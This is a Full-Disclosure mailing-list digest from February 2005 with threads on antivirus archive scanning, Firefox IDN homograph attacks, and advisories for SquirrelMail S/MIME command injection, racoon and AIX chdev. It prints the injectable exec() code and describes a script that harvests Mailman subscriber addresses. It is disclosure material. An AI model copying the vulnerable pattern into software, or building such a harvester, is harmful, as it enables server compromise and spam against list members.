<42065914.19012.4738501@localhost> <1107706559.9514.20.camel@anubis> Message-ID: <4207D054.9000004@sdf.lonestar.org> James Eaton-Lee wrote: >For many SMEs, the distinction is irrelevant, as a significant number of >e-mail servers do *NOT* incorporate antivirus software designed with >gateway scanning in mind - they run desktop scanning tools on e-mail; >thus, for many companies, the distinction between 'gateway' and >'desktop' antivirus software is both, since one scanning engine and set >of definitions play the same role. > > I think that the distinction that Nick was making was that any AV that is intended to do gateway scanning should implement this, which is implied by his whole "gateway scanners may have a problem with this..." point. If corporations are using desktop scanners as gateway scanners, then they're misusing the product. I could try to tow 3 tons of bricks with my little Honda Civic, but would it be Honda's fault if my engine gave out? I'd be misusing the product. 'nuff said. > >Antivirus technology is something which even non-technical office staff are very >much aware of, and they base many aspects of their work on assumptions >such as the fact that if an antivirus scanner has not detected 'a virus' >in a file they have sent/downloaded/copied, that it is safe - although >they may not be at risk from a virus in an archive file that their >antivirus software does not detect, other people may. > > Well, this is largely a perception problem. People think that a clean scan means that something is safe and that's wrong. It's not just wrong in AV, it's wrong in all security analysis issues. It's wrong in IDS. It's wrong in forensics. It's wrong in pen-testing. What the outcome really means is, literally, that nothing that the product was designed to detect was detected. It means nothing more and nothing less. However, people turn that into "the coast is clear" because people don't want to live in a constant state of paranoia and fear. By their nature, security and usefulness have to be balanced, at least in this way. However, this all comes down to one point: If the AV can detect the malware uncompressed, but can't detect it compressed, then there's no problem. The malware has to be decompressed to be dangerous. That was Nick's point and it's 100% correct. IF your AV software is functioning normally. IF your AV software has proper real-time detection capabilities. IF your AV is properly setup and scans the programs you run at the time they're read from the HD. IF your AV will detect the malware uncompressed. Then, as should be true for the vast majority of situations out there, the malware will be caught as it's being extracted from the archive. Or, barring detection on writes, when it's being executed in the first place. If the problem you're pointing out is that SMEs are carrying out cost-cutting by not putting AV on their workstations and blindly relying on gateway scanning, then that SME has a much bigger set of problems than not having compressed tarball support on their gateway scanner, and their cost-cutting is ultimately going to cost them. That SME has made a grave mistake and hopefully they'll learn their lesson. >Harking back to SMEs, who seem to be at the focus of most of the points >that I've made, it's quite possible that the inability to scan an >archive file could be extremely damaging to a business's reputation when >forwarded to a partner or customer > In what situation can you imagine where a person blindly forwards compressed (unscanned) content to a business partner? Again, this can only be because of cost-cutting issues at the SME or laziness on the part of the SME's employee. Again, the problem is not the issue of the AV, but rather the fault of the SME for not being more careful. > - since you're obviously sure of your >positions on these issues, I shouldn't have to remind you that antivirus >software isn't about being theoretically perfect, it's about preventing >business loss. > > This is the wrong way to think about it. The goal of antivirus is, plainly said, to detect and block malware from running. Preventing business loss is a side-effect of this. There are many reasons for keeping malware off of systems, business benefit is only one of them. A hammer is a hammer. Its sole intent is to bash things (and, possibly, pry them out). It can be used to build houses, but it is not a house-builder. >Antivirus software is deployed based on many sets of assumptions. >Failure to live up to these assumptions is generally what causes the >most damage to businesses as protection they thought they had in place >fails - this issue is something which falls into this category; >antivirus software is, in the majority of SMEs, implemented by staff >without extensive experience in antivirus software, and they are highly >unlikely to be aware of issues such as this one (especially since in >most antivirus software, the option is given to 'scan archive files', >not 'scan archive files apart from the ones we don't understand') - not >a serious issue, but definitely a significant one, and one which should >be fixed upstream by antivirus vendors. > > > It is expressly impossible to determine what the uneducated, untrained, and willfully incapable of reading documentation will do when left to their own devices. User-friendly software tries to cater to these users, by making things as simple as possible, but that does not mean that all of these conditions can be predicted. I'm very much in agreement that AV programs should support compressed tarballs and other archival formats. However, any organization that is bitten by this relatively small flaw will be bitten because they lack common sense. The OEMs out there, along with the AV companies for obviously self-serving reasons, have gone a long way towards trying to spread the word that virus protection should be on all clients out there. This is not an arcane planning issue like, say, properly implementing an IDS. It's a common sense, best practices, no BS doctrine. And there are no excuses for an organization that purposefully puts themselves into a position where a minor defect like this can harm their business. -Barry From StuartF at datacom.co.nz Mon Feb 7 20:56:54 2005 From: StuartF at datacom.co.nz (Stuart Fox (DSL AK)) Date: Tue, 8 Feb 2005 09:56:54 +1300 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives Message-ID: > For lack of a better name -- after all, this is a technology > that has hardly been investigated -- I refer to this as > integrity management. > Basically you turn known virus scanning on its head to have > the on- access scanner only allow known good code to run, > rather than trying to do the impossible of finding all > possible permutations of all possible > (known) "bad" code. This can easily be done using the > existing technology, but instead of depending on the a vendor > to find new bad things, add detection of them and ship that > update _finally_ giving the user protection, the user > supplies their own list of _allowable_ code and new code can > be run once the administrator updates their own, of allowable > code database . (There are other clever things such a re- > purposing of this technology neatly allows too -- for > example, such technology could easily be configured to block > access to all files of a given type; it can be easily used to > track software usage for auditing > and licensing checking; etc, etc...) Isn't this similar to what MS do in Windows 2003/XP SP2 with Software Restriction Policies? Executables are only allowed to run provided they fit a prespecified pattern i.e. name (not very useful), signed or not, hash of the executable. From idlabs-advisories at idefense.com Mon Feb 7 19:37:09 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Mon, 7 Feb 2005 14:37:09 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 02.07.05: SquirrelMail S/MIME Plugin Command Injection Vulnerability Message-ID: SquirrelMail S/MIME Plugin Command Injection Vulnerability iDEFENSE Security Advisory 02.07.05 www.idefense.com/application/poi/display?id=191&type=vulnerabilities February 07, 2005 I. BACKGROUND Squirrelmail S/MIME plugin enables the viewing of S/MIME-signed messages of the MIME "multipart/signed" format. More information about the plugin is available at: http://www.squirrelmail.org/plugin_view.php?id=54 II. DESCRIPTION Remote exploitation of a command injection vulnerability in the Squirrelmail S/MIME plugin allows web mail users to execute arbitrary commands with the privileges of the web server. The problem specifically exists due to insufficient filtering of user-provided data in a call to exec(). The following snippet exposes the offending area of code from viewcert.php: if(!isset($cert)) $cert=$_GET['cert']; ... function x509_open($cert) { global $cert_in_dir, $openssl; $lines = array(); exec("$openssl x509 -in $cert_in_dir$cert -subject -issuer \ -dates -serial -fingerprint -noout 2>/tmp/err", $lines); ... list ($ow, $is, $nb, $na, $sn, $fp) = x509_open($cert); The variable '$cert' from the above snippet contains unfiltered user supplied data and can be exploited. III. ANALYSIS Successful exploitation allows authenticated web mail users to execute arbitrary commands on the underlying system with the privileges of the web server. This can lead to further compromise and exposure of other users' mail to the attacker. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in S/MIME plugin 0.5 and 0.4. Earlier versions are also suspected to be vulnerable. V. WORKAROUND PHP provides the escapeshellarg() routine to filter data to be used as an argument to calls such as exec() and system(). Modify the call to exec() from: exec("$openssl x509 -in $cert_in_dir$cert -subject -issuer -dates \ -serial -fingerprint -noout 2>/tmp/err", $lines); To: $filtered = escapeshellarg("$cert_in_dir$cert"); exec("$openssl x509 -in $filtered -subject -issuer -dates -serial \ -fingerprint -noout 2>/tmp/err", $lines); VI. VENDOR RESPONSE The vendor has released S/MIME plugin 0.6 to address this vulnerability. The plugin is available for download at: http://www.squirrelmail.org/plugin_view.php?id=54 VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 09/22/2004 Initial vendor notification 09/22/2004 Initial vendor response 02/07/2005 Coordinated public disclosure IX. CREDIT Karol Wiesek is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From rabbi at abditum.com Mon Feb 7 20:59:11 2005 From: rabbi at abditum.com (Len Sassaman) Date: Mon, 7 Feb 2005 12:59:11 -0800 (PST) Subject: [Full-Disclosure] CodeCon Reminder Message-ID: e'd like to remind those of you planning to attend this year's event that CodeCon is fast approaching. CodeCon is the premier event in 2005 for application developer community. It is a workshop for developers of real-world applications with working code and active development projects. Past presentations at CodeCon have included the file distribution software BitTorrent; the Peek-A-Booty anti-censorship application; the email encryption system PGP Universal; and Audacity, a powerful audio editing tool. Some of this year's highlights include Off-The-Record Messaging, a privacy-enhancing encryption protocol for instant-message systems; SciTools, a web-based toolkit for genetic design and analysis; and Incoherence, a novel stereo sound visualization tool. CodeCon registration is discounted this year: $80 for cash at the door registrations. Registration will be available every day of the conference, though ticket are limited, and attendees are encouraged to register on the first day to secure admission. CodeCon will be held February 11-13, noon-6pm, at Club NV (525 Howard Street) in San Francisco. For more information, please visit http://www.codecon.org. From listener at wernig.net Mon Feb 7 21:33:39 2005 From: listener at wernig.net (Markus Wernig) Date: Mon, 07 Feb 2005 22:33:39 +0100 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> References: <4207B631.3030903@holl.co.at> <20050207110618.R5279@tictactoe.unixboxen.net> <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> Message-ID: <4207DEB3.5080707@wernig.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Valdis.Kletnieks at vt.edu wrote: | On Mon, 07 Feb 2005 11:06:18 PST, Richard Jacobsen said: | | |>Open up firefox, put about:config into the address bar, and then change |>network.enableIDN to false by double clicking on it. If it is working |>successfully, you should get a message "domainname.com could not be found" |>when clicking on an IDN link. You shouldn't need to restart your browser. | | | The actual bug referenced by Gerald is that if you use about:config to set it, | it *works* without having to restart, but at the next restart of the browser, | the setting no longer works... | Yes, it does set network.enableIDN = false, but on startup this seems to get ignored. What I had to do to disable it (probably a brute hack): there's a line in ~/.mozilla/firefox/whatever.default/compreg.dat that reads along the lines of "{4byteshex-2byteshex-2byteshex-2byteshex-6byteshex}, at mozilla.org/network/idn-service;1,,nsIDNService,rel:libnecko.so" The head of the file says "don't edit", but after deleting the above line, firefox wasn't able to resolve the punycode url anymore after a restart. krgds /markus -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQFCB96y8BX/d8pVi/cRAtyWAJwKetoAuGeeh8z4s4sGHKoq7yaPnwCgj2BB QhmbAv3HPQRoFyGV48gHddY= =HMJk -----END PGP SIGNATURE----- From please_reply_to_security at sco.com Mon Feb 7 22:49:57 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Mon, 7 Feb 2005 14:49:57 -0800 Subject: [Full-Disclosure] UnixWare 7.1.4 : racoon multilple security issues Message-ID: <20050207144957.A940@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.4 : racoon multilple security issues Advisory number: SCOSA-2005.10 Issue date: 2005 February 07 Cross reference: sr890909 fz529836 erg712650 CAN-2004-0155 CAN-2004-0164 CAN-2004-0392 CAN-2004-0403 CAN-2004-0607 ______________________________________________________________________________ 1. Problem Description Racoon is the daemon which negotiates and configures a set of parameters of IPsec. Several security issues are addressed with this patch. The KAME IKE Daemon Racoon, when authenticating a peer during Phase 1, validates the X.509 certificate but does not verify the RSA signature authentication, which allows remote attackers to establish unauthorized IP connections or conduct man-in-the-middle attacks using a valid, trusted X.509 certificate. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0155 to this issue. KAME IKE daemon (racoon) does not properly handle hash values, which allows remote attackers to delete certificates via a certain delete message that is not properly handled in isakmp.c or isakmp_inf.c, or a certain INITIAL-CONTACT message that is not properly handled in isakmp_inf.c. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned th e name CAN-2004-0164 to this issue. racoon before 20040407b allows remote attackers to cause a denial of service (infinite loop and dropped connections) via an IKE message with a malformed Generic Payload Header containing invalid "Security Association Next Payload" and "RESERVED" fields. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned th e name CAN-2004-0392 to this issue. Racoon before 20040408a allows remote attackers to cause a denial of service (memory consumption) via an ISAKMP packet with a large length field. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned th e name CAN-2004-0403 to this issue. The eay_check_x509cert function in KAME Racoon successfully verifies certificates even when OpenSSL validation fails, which could allow remote attackers to bypass authentication. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0607 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.4 /usr/sbin/racoon 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.4 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.10 4.2 Verification MD5 (erg712650.pkg.Z) = dd4cf5b0cc719b9ca6aa7b2e3b7eff65 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712650.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712650.pkg.Z # pkgadd -d /var/spool/pkg/erg712650.pkg 5. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0155 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0164 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0392 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0403 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0607 http://www.vuxml.org/freebsd/ccd698df-8e20-11d8-90d1-0020ed76ef5a.html http://www.vuxml.org/freebsd/40fcf20f-8891-11d8-90d1-0020ed76ef5a.html http://marc.theaimsgroup.com/?l=bugtraq&m=107403331309838&w=2 http://marc.theaimsgroup.com/?l=bugtraq&m=107411758202662&w=2 http://marc.theaimsgroup.com/?l=bugtraq&m=108136746911000&w=2 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr890909 fz529836 erg712650. 6. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFCB8NIaqoBO7ipriERAk/oAJ9tBctfOjHLXop2OPT36NFNiArmawCggWYf gPAjKWLglaZDFvzofIGIO00= =jQkm -----END PGP SIGNATURE----- From kin186 at hackermail.com Mon Feb 7 22:03:36 2005 From: kin186 at hackermail.com (White Self-Existing World-Bridger) Date: Tue, 08 Feb 2005 06:03:36 +0800 Subject: [Full-Disclosure] Administrivia: Goodbye Message-ID: <20050207220336.84CCE7A88FD@ws4-4.us4.outblaze.com> Bye Len! Miss you already! Thanks for a few good years eh? -- kin 186: White Self-Existing World-Bridger ------------------------------------------ I Define in order to Equalize Measuring Opportunity I seal the Store of Death With the Self-Existing tone of Form I am guided by the power of Spirit -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From kin186 at hackermail.com Mon Feb 7 22:05:35 2005 From: kin186 at hackermail.com (White Self-Existing World-Bridger) Date: Tue, 08 Feb 2005 06:05:35 +0800 Subject: [Full-Disclosure] Administrivia: Goodbye Message-ID: <20050207220535.30FE87A88FD@ws4-4.us4.outblaze.com> I like your quote. I think you're wrong about Len. Remember that "a new broom sweeps clean." For anything you had against the old moderator the new one could be far worse. -- kin 186: White Self-Existing World-Bridger ------------------------------------------ I Define in order to Equalize Measuring Opportunity I seal the Store of Death With the Self-Existing tone of Form I am guided by the power of Spirit -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From prb at lava.net Mon Feb 7 22:21:59 2005 From: prb at lava.net (Peter Besenbruch) Date: Mon, 07 Feb 2005 12:21:59 -1000 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: <4207DEB3.5080707@wernig.net> References: <4207B631.3030903@holl.co.at> <20050207110618.R5279@tictactoe.unixboxen.net> <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> <4207DEB3.5080707@wernig.net> Message-ID: <4207EA07.2000204@lava.net> Markus Wernig wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Valdis.Kletnieks at vt.edu wrote: > | On Mon, 07 Feb 2005 11:06:18 PST, Richard Jacobsen said: > | > | > |>Open up firefox, put about:config into the address bar, and then change > |>network.enableIDN to false by double clicking on it. If it is working > |>successfully, you should get a message "domainname.com could not be > found" > |>when clicking on an IDN link. You shouldn't need to restart your > browser. > | > | > | The actual bug referenced by Gerald is that if you use about:config to > set it, > | it *works* without having to restart, but at the next restart of the > browser, > | the setting no longer works... > | > > Yes, it does set network.enableIDN = false, but on startup this seems to > get ignored. What I had to do to disable it (probably a brute hack): > there's a line in ~/.mozilla/firefox/whatever.default/compreg.dat that > reads along the lines of > "{4byteshex-2byteshex-2byteshex-2byteshex-6byteshex}, at mozilla.org/network/idn-service;1,,nsIDNService,rel:libnecko.so" > > > The head of the file says "don't edit", but after deleting the above > line, firefox wasn't able to resolve the punycode url anymore after a > restart. Unfortunately, Firefox 1.0 for Linux still displays punycode after deleting the line. They demo on http://www.shmoo.com/idn/ still works. I should also point out that Konqueror 3.3.2 is also vulnerable, but the the SSL demo brings up a certification warning. To the clueless, such a warning might not do much, but to some, a bad certification on an SSL page is a red flag. Perhaps we should all ask Microsoft to port Internet Explorer to Linux. That way we would all be safe. -- Hawaiian Astronomical Society: http://www.hawastsoc.org HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky From nick at virus-l.demon.co.uk Mon Feb 7 22:26:47 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Tue, 08 Feb 2005 11:26:47 +1300 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: Message-ID: <4208A1F7.21408.D6015FB@localhost> Stuart Fox to me: > Isn't this similar to what MS do in Windows 2003/XP SP2 with Software > Restriction Policies? Executables are only allowed to run provided they > fit a prespecified pattern i.e. name (not very useful), signed or not, > hash of the executable. Yes, but it has to be much more thoroughly implemented. It needs to be at a low level in the file system (as existing on-access virus scanners' file system filter drivers and the like currently are) and it needs to be able to handle a much broader conception of "code" than the existing implementation (again, as existing on-access virus scanners have, with their "intelligent" file typing and such...). Such a "solution" would only ever be widely useful in properly managed corporate environments -- most small businesses (and many medium-sized ones) and most individual users would never have the discipline and/or interest in managing this, but in larger corporate, and many other large institutional, settings, where most PCs are really just tools providing a standard (and usually fairly limited) set of applications, such an integrity management approach would be easily adopted in place of on-access virus scanning and would only ever need updating just before standard maintenance procedures update/patch the contents of the managed PCs or new functionality (apps) were to be installed. -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3267092 From nick at virus-l.demon.co.uk Mon Feb 7 22:43:47 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Tue, 08 Feb 2005 11:43:47 +1300 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> References: "Your message of Mon, 07 Feb 2005 11:06:18 PST." <20050207110618.R5279@tictactoe.unixboxen.net> Message-ID: <4208A5F3.28028.D6FA503@localhost> Valdis Kletnieks wrote: > The actual bug referenced by Gerald is that if you use about:config to set it, > it *works* without having to restart, but at the next restart of the browser, > the setting no longer works... At least in the standard (binary distribution) Windows build of Mozilla 1.0 the bug is even worse in that once you've properly set network.enableIDN to "false" and restarted Mozilla, about.config still shows the value of network.enableIDN as "false", even though the browser is now actually running with IDN support. Regards, Nick FitzGerald From bernhard at bksys.at Mon Feb 7 22:48:44 2005 From: bernhard at bksys.at (Bernhard Kuemel) Date: Mon, 07 Feb 2005 23:48:44 +0100 Subject: [Full-Disclosure] mailman email harvester Message-ID: <4207F04C.2010403@bksys.at> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi! Tons of email addresses from mailman mailing lists are vulnerable to be collected by spammers. They are "protected" by obfuscation (user at example.com -> user at example.com) and access to the subscriber list can be restricted to subscribers. The obfuscation is trivially reversed and harvester scripts can subscribe to gain access to restricted lists. I suggested a graphical turing test that would bar scripts but the mailman developers argued spammers might hire a couple of temps that would solve the test as it already happened for the creation of email accounts. The only solution would be not to have the desired information available. This is already an option by restricting access to the member list to the list administrator. However, still many lists either have the member list openly published, or available to the list members. To raise awareness to this issue I wrote a script that collects addresses from openly accessible lists. It stops after processing 1000 (the maximum allowed) search results from google and collects 76772 email addresses (61124 unique). It is attached as mmxp1. An improved version that collects addresses that are restricted to subscribers, processes more lists and works more parallelized is planned. Bye, Bernhard -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Debian - http://enigmail.mozdev.org iD8DBQFCB/BK9zL78+QhnUgRAl7nAJ44fPPFBYV1k7QjT7+c4RbzFgcDUgCfQnpJ 65K8Z4+yycyvXFCrwRpB1cM= =+VYN -----END PGP SIGNATURE----- -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: mmxp1 Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/b9ca0965/attachment.ksh From measl at mfn.org Mon Feb 7 23:15:48 2005 From: measl at mfn.org (J.A. Terranson) Date: Mon, 7 Feb 2005 17:15:48 -0600 (CST) Subject: [Full-Disclosure] Administrivia: Goodbye In-Reply-To: <20050207220535.30FE87A88FD@ws4-4.us4.outblaze.com> References: <20050207220535.30FE87A88FD@ws4-4.us4.outblaze.com> Message-ID: <20050207171421.E59847@ubzr.zsa.bet> On Tue, 8 Feb 2005, White Self-Existing World-Bridger wrote: > I like your quote. Ahhh... I'll bet you're not a quadriplegic then :-) ? > I think you're wrong about Len. Remember that "a new > broom sweeps clean." For anything you had against the old moderator the > new one could be far worse. We will certainly see. AFAIAC, your "clean slate" comment is dead on: I consider this a new list, and we'll start over. -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF "Quadriplegics think before they write stupid pointless shit...because they have to type everything with their noses." http://www.tshirthell.com/ From listener at wernig.net Tue Feb 8 00:18:01 2005 From: listener at wernig.net (Markus Wernig) Date: Tue, 08 Feb 2005 01:18:01 +0100 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: <4207EA07.2000204@lava.net> References: <4207B631.3030903@holl.co.at> <20050207110618.R5279@tictactoe.unixboxen.net> <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> <4207DEB3.5080707@wernig.net> <4207EA07.2000204@lava.net> Message-ID: <42080539.4070605@wernig.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Peter Besenbruch wrote: | Markus Wernig wrote: | |> Yes, it does set network.enableIDN = false, but on startup this seems to |> get ignored. What I had to do to disable it (probably a brute hack): |> there's a line in ~/.mozilla/firefox/whatever.default/compreg.dat that |> reads along the lines of |> "{4byteshex-2byteshex-2byteshex-2byteshex-6byteshex}, at mozilla.org/network/idn-service;1,,nsIDNService,rel:libnecko.so" |> |> |> The head of the file says "don't edit", but after deleting the above |> line, firefox wasn't able to resolve the punycode url anymore after a |> restart. | | | Unfortunately, Firefox 1.0 for Linux still displays punycode after | deleting the line. They demo on http://www.shmoo.com/idn/ still works. | Well, I do run FF 1.0 on linux here (1.0-r3 on gentoo, but I do realize that it's a source install, self-compiled), and even after re-enabling network.enableIDN in about:config, it _does_ display the unicode character (cyrillic "a") on the page, but does _NOT_ load the URL when clicking on any of the links. Funny detail: when hovering over the link, the status bar displays the paypal "lookalike", as soon as I click on it, it changes to "p%D0%B0ypal.com" - but that's probably more for a FF bugtracking list ... lg /m -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQFCCAU58BX/d8pVi/cRAgzkAKDHVUxe2XQ4wnmyUVmtAaBQOFYbrwCcCza0 LQDHJMcvG1C4LsLUSjRssBE= =BYKL -----END PGP SIGNATURE----- From james.mailing at gmail.com Tue Feb 8 00:37:06 2005 From: james.mailing at gmail.com (James Eaton-Lee) Date: Tue, 08 Feb 2005 00:37:06 +0000 Subject: [Full-Disclosure] Re: Software Licenses and compression (was: Multiple AV Vendors ignoring tar.gz archives) In-Reply-To: <4207C84F.8040305@sdf.lonestar.org> References: <4205FC4E.18353.30924D8@localhost> <1107652741.22051.18.camel@anubis> <4207C84F.8040305@sdf.lonestar.org> Message-ID: <1107823026.18282.5.camel@anubis> On Mon, 2005-02-07 at 14:58 -0500, bkfsec wrote: > James Eaton-Lee wrote: > > >Add to this the fact that implementing archive support in an antivirus > >package isn't as simple as it might seem; although bz2 is released under > >a BSD license, gzip isn't - it's GPL, and therefore any antivirus vendor > >would have to write their gzip code totally from scratch. > > > > Now this is a non-sequitor. It's a non-sequitor for two reasons: 1) > It's irrelivent and 2) It's wrong. > > First, it's irrelivent because if this is a percieved weakness of an > antivirus package (and I can see how someone can see it as undesirable > under certain conditions, though not all conditions) then its > implementation isn't the concern of the reporter. We know that it can > be done and, if it's of high enough value, it should be done -- > irregardless of whether they get the code from a third party or write it > themselves. > > Second, it's wrong for a couple of reasons. Yes, they would not be able > to take GNU gzip and implant the code into a proprietary application. > However, that does not bar them from utilizing and distributing GNU Gzip > with their application. If they were to wish to use GNU Gzip, there are > ways that they could engineer that into their product without causing > licensing issues. They could simply use gzip/tar to gunzip/untar the > package as a stream and pass that into their preprocessor for analysis > in their sandbox. That would require no cross-polination of the > licenses and would leave the third party software intact. These kinds > of arrangements are actually quite frequent in the world of software design. > > Further, it's not like the gzip compression algorithm of some kind of > guarded secret proprietary protocol. It's a standard protocol and there > are a number of proprietary implementations that could be licensed for > use in proprietary programs. > > In either case, including third-party software into a security product > can be a gambit and, as such, that code has to be heavily audited in > order to be included into the software suite. Or, at least, it should > be heavily audited. Anyway, they wouldn't be able to just take bzip2 > and place it directly into the source of the AV system either. > Interfaces have to be crafted and tested, in order to be consistent. > You also have to take into account differences in the programming > environment for the AV/Compression scheme and optimizational concerns. > > In the end, your point in trying to differentiate the GNU GPL from the > BSD license here is completely and totally moot. It does nothing but > predicate misunderstandings concerning the GNU GPL and further cloud > this potential security issue. I wasn't trying to cloud the issue at all, nor was I specifically trying to differentiate between the two - the paragraph you've just dissected directly followed a statement about the relative lack of speed which implementing archive support in an anti-virus package would necessitate vs. simply writing a new antivirus definition, and the reference to GPL and BSD software was preemptively negating a response along the lines of 'they could simply incorporate X source code'. I fully understand both the distinction between the two licenses, how they can be implemented into a proprietary product, and the testing involved in incorporating someone else's source code into a large codebase - again, my point was that whether implementing gzip/bzip2/X support in an antivirus package is hard or not, it is a reactive measure which antivirus vendors do not (and should not) have to take, since unlike antivirus definitions (which are necessarily written reactively), compression support is easily integrated into a package - with forethought - and prevents such issues further down the line; further to that, I also argued that it would be silly to reactively implement compression support not only because it's unnecessary, but also because it would (as you have in fact agreed with me on) be harder to implement this support into an anti-virus scanning engine even if, as you say, this is a "standard protocol". So I think you agree with me, really; thankyou for your e-mail! :) - James. From idlabs-advisories at idefense.com Mon Feb 7 23:18:43 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Mon, 7 Feb 2005 18:18:43 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 02.07.05: IBM AIX chdev Local Format String Vulnerability Message-ID: IBM AIX chdev Local Format String Vulnerability iDEFENSE Security Advisory 02.07.05 http://www.idefense.com/application/poi/display?type=vulnerabilities February 07, 2005 I. BACKGROUND The chdev program is a setuid root application, installed by default under multiple versions of IBM AIX, that facilitates the changing of device characteristics. II. DESCRIPTION Local exploitation of a format string vulnerability in the chdev command included by default in multiple versions of IBM Corp.'s AIX operating system could allow for arbitrary code execution as the root user. The vulnerability specifically exists due to an improperly used formatted printing function. When provided with an incorrect argument (argv[1]) that contains a format string, the format string will be fed into a formatted printing function, and the user supplied format string will be evaluated, allowing for a malicious user to examine stack memory and write to arbitrary memory locations. With a properly crafted string, this can lead to the execution of arbitrary code. III. ANALYSIS This vulnerability can only be exploited by a local user who has been granted access to the "system" group. Successful exploitation leads to root-level access. Due to the nature of the vulnerability, information leakage is trivial and aids the attacker in exploitation. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in IBM AIX version 5.2. It is suspected that previous versions are also vulnerable. V. WORKAROUND Only allow trusted users local access to security critical systems. Only allow trusted system administrators access to the "system" group. Alternately, remove the setuid bit from chdev using chmod u-s /usr/sbin/chdev. VI. VENDOR RESPONSE The vendor has not released a patch for this issue, however, the following details have been published: http://www-1.ibm.com/support/docview.wss?uid=isg1IY67455 In addition, a security advisory will be posted at the following site: https://techsupport.services.ibm.com/server/pseries.subscriptionSvcs?mod e=1 Please note that a free signup is required to access the security advisory. VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 12/21/2004 Initial vendor notification 01/07/2005 Initial vendor response 02/07/2005 Coordinated public disclosure IX. CREDIT iDEFENSE Labs is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From james.mailing at gmail.com Tue Feb 8 01:13:35 2005 From: james.mailing at gmail.com (James Eaton-Lee) Date: Tue, 08 Feb 2005 01:13:35 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives 